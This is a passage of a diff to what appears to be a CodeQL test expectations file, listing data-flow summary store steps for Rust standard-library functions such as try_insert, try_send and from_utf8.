Child.handle | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::ChildStderr::inner] in lang:std::_::::from_inner | ChildStderr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::ChildStdin::inner] in lang:std::_::::from_inner | ChildStdin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::ChildStdout::inner] in lang:std::_::::from_inner | ChildStdout | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::ExitCode(0)] in lang:std::_::::from_inner | ExitCode | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::ExitStatus(0)] in lang:std::_::::from_inner | ExitStatus | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::Stdio(0)] in lang:std::_::::from_inner | Stdio | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ptr::unique::Unique::pointer] in lang:core::_::::from | Unique.pointer | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::Range::end] in lang:core::_::::from | Range.end | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::Range::start] in lang:core::_::::from | Range.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::Range::start] in lang:core::_::::into_slice_range | Range.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_slice_range | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::RangeFrom::start] in lang:core::_::::from | RangeFrom | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::RangeFrom::start] in lang:core::_::::remainder | RangeFrom | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::RangeInclusive::end] in lang:core::_::::from | RangeInclusive.end | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::range::RangeInclusive::start] in lang:core::_::::from | RangeInclusive.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::from_nonnull_in | RawVec.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_nonnull_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::from_raw_parts_in | RawVec.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_parts_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::new_in | RawVec.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::with_capacity_in | RawVec.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::with_capacity_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::with_capacity_zeroed_in | RawVec.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::with_capacity_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc] in lang:alloc::_::::from_nonnull_in | RawVecInner.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::from_nonnull_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc] in lang:alloc::_::::from_raw_parts_in | RawVecInner.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::from_raw_parts_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc] in lang:alloc::_::::new_in | RawVecInner.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc] in lang:alloc::_::::with_capacity_in | RawVecInner.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::with_capacity_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc] in lang:alloc::_::::with_capacity_zeroed_in | RawVecInner.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::raw_vec::RawVec::inner] in lang:alloc::_::::with_capacity_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Rc::alloc] in lang:alloc::_::::new_uninit_in | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Rc::alloc] in lang:alloc::_::::new_uninit_slice_in | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_slice_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Rc::alloc] in lang:alloc::_::::new_zeroed_in | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Rc::alloc] in lang:alloc::_::::new_zeroed_slice_in | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_slice_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Weak::alloc] in lang:alloc::_::::downgrade | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Weak::alloc] in lang:alloc::_::::from_raw_in | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Weak::alloc] in lang:alloc::_::::new_in | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::rc::Weak::ptr] in lang:alloc::_::::downgrade | Weak.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Iter::inner] in lang:core::_::::clone | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_from | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::downcast | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downcast | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::left_kv | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_kv | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::right_kv | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::right_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_vec_with_nul | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_vec_with_nul | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_from | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::downcast | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downcast | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_unwrap | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_unwrap | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_utf8 | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_utf8 | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_from | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::downcast | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downcast | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_unwrap | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_unwrap | @@ -1149,6 +2076,12 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::filter_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::filter_map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::set | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish_non_exhaustive | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish_non_exhaustive | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish_non_exhaustive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::finish_non_exhaustive | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish_non_exhaustive | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::ok_or | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok_or | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::ok_or_else | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok_or_else | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::transpose | @@ -1162,15 +2095,27 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::copied | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::copied | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::flatten | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::flatten | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_send | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::write | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::write | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::write | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::write | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_send | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::write | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::write | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::set | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::wait | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::replace | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::set | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::replace | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::set | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_map | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_string | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_string | @@ -1241,12 +2186,38 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in lang:std::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[1] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::btree::map::entry::OccupiedError::value] in lang:alloc::_::::try_insert | OccupiedError.value | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::hash::map::OccupiedError::value] in lang:std::_::::try_insert | OccupiedError.value | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::ffi::c_str::FromVecWithNulError::bytes] in lang:alloc::_::::from_vec_with_nul | FromVecWithNulError.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_vec_with_nul | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::string::FromUtf8Error::bytes] in lang:alloc::_::::from_utf8 | FromUtf8Error.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::from_utf8 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)] in lang:std::_::::send | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Timeout(0)] in lang:std::_::::send | Timeout | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:core::_::::map_err | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:std::_::::try_send | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Full(0)] in lang:std::_::::try_send | Full | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Full(0)] in lang:std::_::::try_send | Full | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::try_send | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::wait | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::wait | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::into_inner | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::replace | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::set | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::into_inner | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::replace | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::replace | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data] in lang:std::_::::set | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::set | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_deref_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::left_kv | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::right_kv | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::right_kv | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::search_tree_for_bifurcation | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_tree_for_bifurcation | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::from_utf8 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_utf8 | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::parse | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_uninit_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_new_zeroed_in | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_new_zeroed_in | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::align_to | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::align_to | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::array | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::array | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::extend | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::extend | @@ -1254,6 +2225,9 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::from_size_align | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_size_align | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::repeat | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::repeat | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::repeat_packed | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::repeat_packed | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::filter_map | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::filter_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::filter_map | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::filter_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::padding | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::padding | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::ok_or | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ok_or | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in 